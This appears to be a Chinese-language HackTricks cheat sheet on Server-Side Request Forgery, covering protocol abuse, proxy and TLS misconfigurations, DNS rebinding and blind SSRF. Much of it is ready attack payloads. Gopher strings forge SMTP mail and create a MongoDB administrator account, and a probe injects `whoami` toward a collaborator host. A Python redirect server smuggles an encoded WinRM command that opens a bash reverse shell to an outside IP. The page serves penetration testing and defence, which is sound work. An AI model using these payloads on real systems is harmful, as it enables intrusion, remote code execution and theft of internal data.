SSRF (Server Side Request Forgery)
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
基本信息
当攻击者操纵server-side application使其向攻击者选择的域发起HTTP requests时,就会发生Server-side Request Forgery (SSRF) 漏洞。该漏洞使服务器暴露于由攻击者定向的任意外部请求。
捕获 SSRF
首先你需要捕获由你触发的 SSRF 交互。要捕获 HTTP 或 DNS 交互,你可以使用如下工具:
- Burp Collaborator
- pingb
- canarytokens
- interractsh
- http://webhook.site
- https://github.com/teknogeek/ssrf-sheriff
- http://requestrepo.com/
- https://github.com/stolenusername/cowitness
- https://github.com/dwisiswant0/ngocok - A Burp Collaborator using ngrok
白名单域绕过
通常你会发现 SSRF 仅在特定的白名单域或 URL 上有效。下面的页面汇总了尝试绕过该白名单的多种技巧:
通过 Open Redirect 绕过
如果服务器被正确保护,你仍然可以通过利用页面内的 Open Redirect 来绕过所有限制。因为该页面会允许对相同域的 SSRF并且很可能会遵循重定向,你可以利用该 Open Redirect 让服务器访问任何内部资源。
阅读更多: [https://portswigger.net/web-security/ssrf]
协议
- file://
- 提到 URL scheme
file://,直接指向/etc/passwd:file:///etc/passwd - dict://
- 描述了 DICT URL scheme 用于通过 DICT 协议访问定义或词表。示例展示了一个构造的 URL,针对特定单词、数据库和条目编号,以及一个 PHP 脚本实例可能被滥用以使用攻击者提供的凭据连接到 DICT 服务器:
dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n> - SFTP://
- 被识别为用于通过 Secure Shell (SSH) 进行安全文件传输的协议,示例展示了如何利用 PHP 脚本连接到恶意 SFTP 服务器:
url=sftp://generic.com:11111/ - TFTP://
- 提到 Trivial File Transfer Protocol(通过 UDP 运行),并给出一个 PHP 脚本示例,用于向 TFTP 服务器发送请求。示例对 ‘generic.com’ 的 12346 端口请求文件 ‘TESTUDPPACKET’:
ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET - LDAP://
- 本节涵盖 Lightweight Directory Access Protocol,强调其用于通过 IP 网络管理和访问分布式目录信息服务。与本地 LDAP 服务器交互示例:
'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit. - SMTP
- 描述了一种利用 SSRF 漏洞与本地 SMTP 服务交互的方法,包括暴露内部域名的步骤以及基于该信息进行的后续侦查操作。
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
- Curl URL globbing - WAF bypass
- 如果 SSRF 是由 curl 执行,curl 有一个叫做 URL globbing 的功能,可能有助于绕过 WAFs。比如在这篇 writeup 中你可以找到一个关于 通过
file协议的路径遍历 的示例:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
- 讨论了 Gopher 协议指定 IP, port and bytes 用于与服务器通信的能力,并介绍了用于构造 payloads 的工具,如 Gopherus 和 remote-method-guesser。展示了两种不同的用法:
Gopher://
使用该协议你可以指定你希望服务器send的IP, port and bytes。然后,基本上你可以利用 SSRF 来communicate with any TCP server(但你需要先知道如何与该 service 对话)。
幸运的是,你可以使用 Gopherus 为多个 services 创建 payloads。此外, remote-method-guesser 可用于为 gopher Java RMI services 创建 payloads。
Gopher smtp
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT
Gopher HTTP
#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
Gopher SMTP — Back connect to 1337
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.
Gopher MongoDB – 创建用户,username=admin,password=admin123,permission=administrator
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'
SSRF 通过 Referrer header 等
服务器上的分析软件通常记录 Referrer header 以跟踪传入链接,这一做法会无意中使应用暴露于 Server-Side Request Forgery (SSRF) 漏洞。因为这些软件可能会访问 Referrer header 中提到的外部 URL,以分析引荐站点的内容。为发现这些漏洞,建议使用 Burp Suite 插件 “Collaborator Everywhere”,利用分析工具处理 Referer header 的方式来识别潜在的 SSRF 攻击面。
SSRF 通过证书中的 SNI 数据
下面通过一个示例 Nginx 配置说明一种错误配置,该配置可能通过简单设置使其能够连接到任意后端:
stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}
在此配置中,来自 Server Name Indication (SNI) 字段的值被直接用作后端地址。此设置导致可遭受 Server-Side Request Forgery (SSRF) 漏洞,只需在 SNI 字段中指定目标 IP 地址或域名即可被利用。下面给出一个使用 openssl 命令强制连接到任意后端(例如 internal.host.com)的利用示例:
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
SSRF 通过 TLS AIA CA Issuers (Java mTLS)
一些 TLS 实现会使用对端证书内的 Authority Information Access (AIA) → CA Issuers URI 自动下载缺失的中间 CA。在 Java 中,在运行 mTLS 服务时启用 -Dcom.sun.security.enableAIAcaIssuers=true 会使服务器在握手阶段对来自客户端证书的攻击者控制的 URI 进行解析(during the handshake),这发生在任何 HTTP 逻辑运行之前。
- Requirements: mTLS 已启用、Java AIA fetching 已启用、攻击者可以出示一个带有特制 AIA CA Issuers URI 的 client cert。
- Triggering SSRF (Java 21 example):
java -Djava.security.debug=certpath \
-Dcom.sun.security.enableAIAcaIssuers=true \
-Dhttp.agent="AIA CA Issuers PoC" -jar server.jar
# Attacker cert AIA: http://localhost:8080
nc -l 8080 -k # observe the outbound fetch
curl https://mtls-server:8444 --key client-aia-key.pem --cert client-aia-localhost-cert.pem --cacert ca-cert.pem
Java certpath 调试输出显示 CertStore URI:http://localhost:8080,nc 捕获到带有可控 User-Agent(来自 -Dhttp.agent)的 HTTP 请求,证明在证书验证期间存在 SSRF。
- DoS via file://:在类 Unix 主机上将 AIA CA Issuers 设置为
file:///dev/urandom会使 Java 将其视为 CertStore 并读取无界的随机字节,从而占用一个 CPU 核并在客户端断开后仍阻塞后续连接。
SSRF 通过 CSS 预处理器
LESS 是一个流行的 CSS 预处理器,提供变量、mixins、functions 和强大的 @import 指令。在编译期间,LESS 引擎会获取 @import 语句中引用的资源,并在使用 (inline) 选项时将它们的内容嵌入(即“内联”)到生成的 CSS 中。
Check how to exploit it in:
Wget file upload
SSRF 与 Command Injection
可以尝试如下 payload: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`
PDF 渲染
如果网页会自动使用你提供的信息生成 PDF,你可以插入一些 JS,这些 JS 在生成 PDF 时会被 PDF 创建器本身(即服务器)执行,从而滥用 SSRF。 更多信息。
从 SSRF 到 DoS
创建多个会话,利用 SSRF 从这些会话尝试下载大文件来造成 DoS。
SSRF PHP 函数
请查看以下页面,了解易受攻击的 PHP 甚至 Wordpress 函数:
SSRF 重定向到 Gopher
在某些利用场景中,你可能需要发送一个重定向响应(可能是为了使用像 gopher 这样的不同协议)。下面给出一些用于返回重定向的 python 代码:
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
self.end_headers()
httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
错误配置的代理导致 SSRF
技巧 from this post.
Flask
Flask proxy 漏洞代码
```python from flask import Flask from requests import getapp = Flask(‘main’) SITE_NAME = ‘https://google.com’
@app.route(‘/’, defaults={‘path’: ‘’}) @app.route(‘/path:path’)
def proxy(path): return get(f’{SITE_NAME}{path}’).content
if name == “main”: app.run(threaded=False)
</details>
Flask 允许使用 **`@`** 作为初始字符,这允许将 **初始 host name 作为 username** 并 inject 一个新的。攻击请求:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close
Spring Boot
易受攻击的代码:
.png)
发现可以在请求路径开头使用字符 ;,随后可通过 @ 注入新的主机进行访问。攻击请求:
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
PHP Built-in Web Server
易受攻击的 PHP 代码
```php$proxy_site = $site.$current_uri; var_dump($proxy_site);
echo “\n\n”;
$response = file_get_contents($proxy_site); var_dump($response); ?>
</details>
PHP 允许在 URL 的路径中使用 **字符 `*` 位于斜杠之前**,但它还有其他限制,例如它只能用于根路径名 `/`,并且在第一个斜杠之前不允许使用点 `.`,因此需要使用例如无点十六进制编码的 IP 地址:
```http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close
Reverse proxies 接受请求行中的 absolute URLs(open forward-proxy)
一些 Reverse proxies 也接受 absolute-form request lines (GET http://10.0.0.5:8080/path HTTP/1.1) 并将 URL 原样转发到后端,而不是拒绝或重写为配置的 upstream。这样会把 reverse proxy 变成一个 pre-auth forward proxy with full-read SSRF,包括访问通常无法从 Internet 到达的 localhost 绑定服务。
Key points:
- Request line controls destination:absolute URL 中的 authority 会覆盖正常路由;通常会忽略
Hostheader。 - Full response returned:来自内部主机的响应会被流回,因此你可以枚举并交互(例如 SOAP/Axis2、Keycloak、管理控制台),而不是盲探测。
- Works on localhost:
GET http://127.0.0.1:port/ HTTP/1.1\r\nHost: public-host\r\n\r\n足以触及仅在回环地址监听的服务。 - Abuse as pivot:与其他 vulns(例如上传端点)结合可访问主机内部服务。
Minimal probe:
GET http://127.0.0.1:8080/ HTTP/1.1
Host: whatever
Connection: close
如果你看到上游响应而不是 400,该设备正在充当 open proxy。
DNS Rebidding CORS/SOP bypass
如果你因为 problems 无法 exfiltrate content from a local IP(由于 CORS/SOP),可以使用 DNS Rebidding 来绕过该限制:
CORS - Misconfigurations & Bypass
自动化 DNS Rebidding
Singularity of Origin 是一个用于执行 DNS rebinding 攻击的工具。它包含了将攻击者控制的域名的 IP 地址 rebind 到目标机器 IP、并向目标机器提供攻击 payloads 以利用其上易受攻击软件所需的组件。
另请查看 公开运行的服务器:http://rebind.it/singularity.html
DNS Rebidding + TLS Session ID/Session ticket
Requirements:
- SSRF
- Outbound TLS sessions
- Stuff on local ports
Attack:
- 让用户/机器人访问一个由 attacker 控制的 domain
- 将该 domain 的 DNS TTL 设为 0 秒(这样受害者很快就会再次查询该域名的 IP)
- 在受害者与该 attacker domain 之间建立 TLS connection。攻击者将 payload 注入到 Session ID 或 Session Ticket 中。
- 该 domain 会对自身发起一个 无限重定向循环。这样做的目的是使用户/机器人持续访问该域名,直到它再次对该域名执行 DNS 请求。
- 在该 DNS 请求中,现在返回一个 private IP(例如 127.0.0.1)
- 用户/机器人会尝试 重新建立 TLS 连接,为此它会发送之前的 Session ID/Session Ticket(其中包含了攻击者的 payload)。所以恭喜你,你成功让 user/bot attack himself。
注意,在此攻击期间,如果你想攻击 localhost:11211(memcache),你需要让受害者最初与 www.attacker.com:11211 建立连接(端口必须始终相同)。
要 执行此攻击你可以使用该工具: https://github.com/jmdx/TLS-poison/
要获取 更多信息,请查看讲解此攻击的演讲:https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference
Blind SSRF
盲 SSRF 与非盲 SSRF 的区别在于:在盲 SSRF 中你看不到 SSRF 请求的响应。因此,利用起来更困难,因为你只能利用一些已知的漏洞。
Time based SSRF
通过 检查服务器响应的时间,可能 判断某个资源是否存在(访问存在的资源可能比访问不存在的资源花费更多时间)
From blid to full abusing status codes
根据这篇 blog post,某些 blind SSRF 可能发生的原因是,即便被访问的 URL 用 200 状态码响应(例如 AWS metadata),但这些 dat 并未正确格式化,因此应用可能拒绝展示它。
然而,已经发现通过在 SSRF 中发送 305 到 309 的一些 redirecs 响应,可能使得应用在进入 错误模式 时 follow these redirects,此时不会再检查数据格式,可能会直接打印它。
用于利用此方法的 python server 如下:
@app.route("/redir")
def redir():
count = int(request.args.get("count", 0)) + 1
# Pump out 305, 306, 307, 308, 309, 310 ...
weird_status = 301 + count
if count >= 10: # after 5 “weird” codes
return redirect(METADATA_URL, 302)
return redirect(f"/redir?count={count}", weird_status)
@app.route("/start")
def start():
return redirect("/redir", 302)
步骤:
- 首先 302 使应用开始跟随重定向。
- 然后它收到了 305 → 306 → 307 → 308 → 309 → 310。
- 在第 5 个异常状态码之后,PoC 最终返回 302 → 169.254.169.254 → 200 OK。
目标内部发生了什么:
- libcurl 本身会跟随 305–310;它只是将未知的状态码规范化为 “follow”。
- 在 N 次异常重定向之后(这里 ≥ 5),应用自身的包装器会判断 “something is off” 并切换到用于调试的错误模式。
- 在该模式下,它会把整个重定向链和最终的响应体转储回外部调用者。
- 结果:attacker 看到每个 header + metadata JSON,任务完成。
注意这对 leak 之前无法 leak 的状态码(比如 200)很有趣。然而,如果你能选择响应的状态码(想象你能让 AWS metadata 返回 500 状态码),可能会有一些状态码会直接 leak 响应内容。
HTML-to-PDF 渲染器作为盲 SSRF gadget
像 TCPDF(以及像 spipu/html2pdf 这样的封装)这样的库在渲染 PDF 时会自动获取由 attacker 控制的 HTML 中的任何 URLs。每个 <img> 或 <link rel="stylesheet"> 属性都会在服务器端通过 cURL、getimagesize() 或 file_get_contents() 被解析,因此你可以驱动 PDF 工作进程探测内部主机,即使没有任何 HTTP 响应被反射给你。
<html>
<body>
<img width="1" height="1" src="http://127.0.0.1:8080/healthz">
<link rel="stylesheet" type="text/css" href="http://10.0.0.5/admin" />
</body>
</html>
- TCPDF 6.10.0 对每个
<img>资源会发起多次检索尝试,所以单个 payload 可以生成多次请求(有利于基于时间的端口扫描)。 - html2pdf 复制 TCPDF 在
<img>上的行为,并在Css::extractStyle()中加入 CSS 抓取,该函数在进行浅层 scheme 检查后仅调用file_get_contents($href)。可滥用它去访问 loopback services、RFC1918 ranges 或 cloud metadata endpoints。 - 将此 SSRF 原语与 HTML-to-PDF path traversal tricks 结合,以 leak 内部 HTTP 响应和渲染到 PDF 的本地文件。
加固人员应在渲染前剥离外部 URL 或将渲染器隔离在网络沙箱中;在此之前,应将 PDF 生成器视为盲 SSRF 代理。
云端 SSRF 利用
如果你在运行于云环境中的机器上发现 SSRF 漏洞,可能能够获取有关云环境的有价值信息,甚至凭证:
存在 SSRF 漏洞的平台
若干已知平台包含或曾包含 SSRF 漏洞,请在以下位置查看:
工具
SSRFMap
Tool to detect and exploit SSRF vulnerabilities
Gopherus
该工具为以下服务生成 Gopher payloads:
- MySQL
- PostgreSQL
- FastCGI
- Redis
- Zabbix
- Memcache
remote-method-guesser
remote-method-guesser 是一个 Java RMI 漏洞扫描器,支持针对大多数常见 Java RMI 漏洞的攻击操作。大多数可用操作支持 --ssrf 选项,用于为请求的操作生成 SSRF payload。配合 --gopher 选项,可以直接生成可用的 gopher payloads。
SSRF Proxy
SSRF Proxy 是一个多线程 HTTP 代理服务器,旨在通过易受 Server-Side Request Forgery (SSRF) 漏洞影响的 HTTP 服务器隧道化客户端 HTTP 流量。
练习
参考资料
- https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery
- https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/
- https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies
- Positive Technologies – Blind Trust: What Is Hidden Behind the Process of Creating Your PDF File?
- Tenable – SSRF Vulnerability in Java TLS Handshakes That Creates DoS Risk
- RFC 5280 §4.2.2.1 Authority Information Access
- When Audits Fail: From Pre-Auth SSRF to RCE in TRUfusion Enterprise
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。


